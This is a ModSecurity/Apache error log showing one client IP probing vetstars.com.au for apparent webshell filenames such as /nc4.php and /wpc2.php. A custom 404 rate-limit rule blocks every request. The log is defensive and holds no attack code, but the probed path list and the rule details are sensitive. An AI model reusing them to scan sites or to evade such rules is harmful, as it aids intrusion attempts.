[Mon Apr 20 20:02:45.028877 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18233] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeYV5f4EoMBgOJuJnT2ZRwAAABc"]
[Mon Apr 20 20:02:45.521838 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18301] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeYV5f4EoMBgOJuJnT2ZSwAAABY"]
[Mon Apr 20 20:02:46.037080 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18133] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeYV5v4EoMBgOJuJnT2ZUQAAABg"]
[Mon Apr 20 20:02:46.521893 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18087] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeYV5v4EoMBgOJuJnT2ZVgAAABQ"]
[Mon Apr 20 20:02:47.028780 2026] [:error] [pid 11352:tid 11428] [client 172.213.242.226:18143] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeYV52l10mhMSfJ7ir_QjQAAAI4"]
[Mon Apr 20 20:02:47.671924 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:18247] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeYV5wN8Z1-vktaI_tPt1QAAAFM"]
[Mon Apr 20 20:02:48.300764 2026] [:error] [pid 6928:tid 6948] [client 172.213.242.226:18150] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeYV6B3y7MHq1iB0qYqmBQAAAVI"]
[Mon Apr 20 20:02:48.847848 2026] [:error] [pid 6928:tid 6951] [client 172.213.242.226:18125] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeYV6B3y7MHq1iB0qYqmCAAAAVU"]
[Mon Apr 20 20:02:49.635486 2026] [:error] [pid 11350:tid 11359] [client 172.213.242.226:18055] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeYV6f4EoMBgOJuJnT2ZaAAAAAA"]
[Mon Apr 20 20:02:50.128527 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18161] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeYV6v4EoMBgOJuJnT2ZbAAAAA4"]
[Mon Apr 20 20:02:50.687642 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18060] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeYV6gN8Z1-vktaI_tPt2wAAAEw"]
[Mon Apr 20 20:02:51.276666 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18179] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeYV6wN8Z1-vktaI_tPt3gAAAEg"]
[Mon Apr 20 20:02:51.757420 2026] [:error] [pid 11494:tid 11505] [client 172.213.242.226:18136] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeYV68gko5iFiE8YoyTUSgAAAYk"]
[Mon Apr 20 20:02:52.292118 2026] [:error] [pid 11441:tid 11445] [client 172.213.242.226:18230] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeYV7MixByFUvmh319CRuwAAAMI"]
[Mon Apr 20 20:02:52.905580 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18254] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeYV7Mgko5iFiE8YoyTUTgAAAZM"]
[Mon Apr 20 20:02:53.459396 2026] [:error] [pid 11352:tid 11430] [client 172.213.242.226:18151] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "aeYV7Wl10mhMSfJ7ir_QkwAAAJA"]
[Mon Apr 20 20:02:54.058547 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18175] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "aeYV7sixByFUvmh319CRxQAAAME"]
[Mon Apr 20 20:02:55.760279 2026] [:error] [pid 42014:tid 42017] [client 172.213.242.226:18168] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "aeYV78ek-00-ZI0f1Np5HAAAAQE"]
[Mon Apr 20 20:02:56.324925 2026] [:error] [pid 11494:tid 11518] [client 172.213.242.226:18286] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "aeYV8Mgko5iFiE8YoyTUVAAAAZY"]
[Mon Apr 20 20:02:56.894981 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18231] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeYV8AN8Z1-vktaI_tPt7gAAAEY"]
[Mon Apr 20 20:02:57.458072 2026] [:error] [pid 6928:tid 6932] [client 172.213.242.226:18064] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeYV8R3y7MHq1iB0qYqmDAAAAUI"]
[Mon Apr 20 20:02:58.077966 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18256] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeYV8v4EoMBgOJuJnT2ZgAAAABM"]
[Mon Apr 20 20:02:58.792713 2026] [:error] [pid 11494:tid 11502] [client 172.213.242.226:13033] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeYV8sgko5iFiE8YoyTUWQAAAYY"]
[Mon Apr 20 20:02:59.444164 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18164] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeYV8_4EoMBgOJuJnT2ZhwAAAAo"]
[Mon Apr 20 20:02:59.993223 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18224] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeYV8_4EoMBgOJuJnT2ZiAAAABg"]
[Mon Apr 20 20:03:00.577616 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18140] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeYV9P4EoMBgOJuJnT2ZiwAAAA8"]
[Mon Apr 20 20:03:01.168743 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18063] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeYV9f4EoMBgOJuJnT2ZjwAAABI"]
[Mon Apr 20 20:03:02.179597 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18049] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeYV9v4EoMBgOJuJnT2ZlAAAAAY"]
[Mon Apr 20 20:03:02.716797 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18090] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeYV9v4EoMBgOJuJnT2ZlQAAAAM"]
[Mon Apr 20 20:03:03.297311 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18212] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeYV9_4EoMBgOJuJnT2ZlwAAAAQ"]
[Mon Apr 20 20:03:03.999529 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18200] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeYV9_4EoMBgOJuJnT2ZmwAAABc"]
[Mon Apr 20 20:03:04.684892 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:12999] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeYV-P4EoMBgOJuJnT2ZnQAAAA4"]
[Mon Apr 20 20:03:05.227164 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18205] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeYV-f4EoMBgOJuJnT2ZngAAABA"]
[Mon Apr 20 20:03:05.760782 2026] [:error] [pid 11351:tid 11410] [client 172.213.242.226:18167] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeYV-QN8Z1-vktaI_tPt-AAAAFc"]
[Mon Apr 20 20:03:06.338323 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:18091] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeYV-gN8Z1-vktaI_tPt-gAAAFM"]
[Mon Apr 20 20:03:06.806524 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:18149] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeYV-gN8Z1-vktaI_tPt-wAAAFg"]
[Mon Apr 20 20:03:07.306162 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:18290] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeYV-wN8Z1-vktaI_tPt_QAAAEs"]
[Mon Apr 20 20:03:07.825920 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18102] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeYV-wN8Z1-vktaI_tPuAAAAAFY"]
[Mon Apr 20 20:03:08.347830 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18051] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeYV_P4EoMBgOJuJnT2ZogAAAAo"]
[Mon Apr 20 20:03:08.960604 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:18170] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeYV_AN8Z1-vktaI_tPuDQAAAFg"]
[Mon Apr 20 20:03:09.437834 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18166] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeYV_f4EoMBgOJuJnT2ZpAAAAAk"]
[Mon Apr 20 20:03:09.910614 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18070] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeYV_f4EoMBgOJuJnT2ZpwAAAAg"]
[Mon Apr 20 20:03:10.487427 2026] [:error] [pid 11350:tid 11371] [client 172.213.242.226:18169] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeYV_v4EoMBgOJuJnT2ZqQAAAAw"]
[Mon Apr 20 20:03:11.009532 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18234] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aeYV__4EoMBgOJuJnT2ZrwAAAAc"]
[Mon Apr 20 20:03:11.496677 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18098] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aeYV_wN8Z1-vktaI_tPuGQAAAEM"]
[Mon Apr 20 20:03:58.754149 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18106] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeYWLv4EoMBgOJuJnT2afgAAABI"]
[Mon Apr 20 20:03:59.701878 2026] [:error] [pid 11494:tid 11503] [client 172.213.242.226:18197] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeYWL8gko5iFiE8YoyTUrQAAAYc"]
[Mon Apr 20 20:04:00.337576 2026] [:error] [pid 11441:tid 11467] [client 172.213.242.226:18213] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeYWMMixByFUvmh319CScAAAANg"]
[Mon Apr 20 20:04:00.832215 2026] [:error] [pid 11441:tid 11456] [client 172.213.242.226:18077] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeYWMMixByFUvmh319CScwAAAM0"]
[Mon Apr 20 20:04:01.340859 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:13011] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeYWMf4EoMBgOJuJnT2akwAAAAg"]
[Mon Apr 20 20:04:01.865460 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18094] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeYWMf4EoMBgOJuJnT2amgAAAA4"]
[Mon Apr 20 20:04:02.404619 2026] [:error] [pid 11494:tid 11512] [client 172.213.242.226:18220] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeYWMsgko5iFiE8YoyTUtAAAAZA"]
[Mon Apr 20 20:04:02.942863 2026] [:error] [pid 11441:tid 11443] [client 172.213.242.226:18238] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeYWMsixByFUvmh319CSdgAAAMA"]
[Mon Apr 20 20:04:03.638633 2026] [:error] [pid 6928:tid 6930] [client 172.213.242.226:18110] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeYWMx3y7MHq1iB0qYqmVgAAAUA"]
[Mon Apr 20 20:04:04.139842 2026] [:error] [pid 11494:tid 11520] [client 172.213.242.226:18092] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeYWNMgko5iFiE8YoyTUtwAAAZg"]
[Mon Apr 20 20:04:04.615346 2026] [:error] [pid 11352:tid 11428] [client 172.213.242.226:13032] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeYWNGl10mhMSfJ7ir_Q6wAAAI4"]
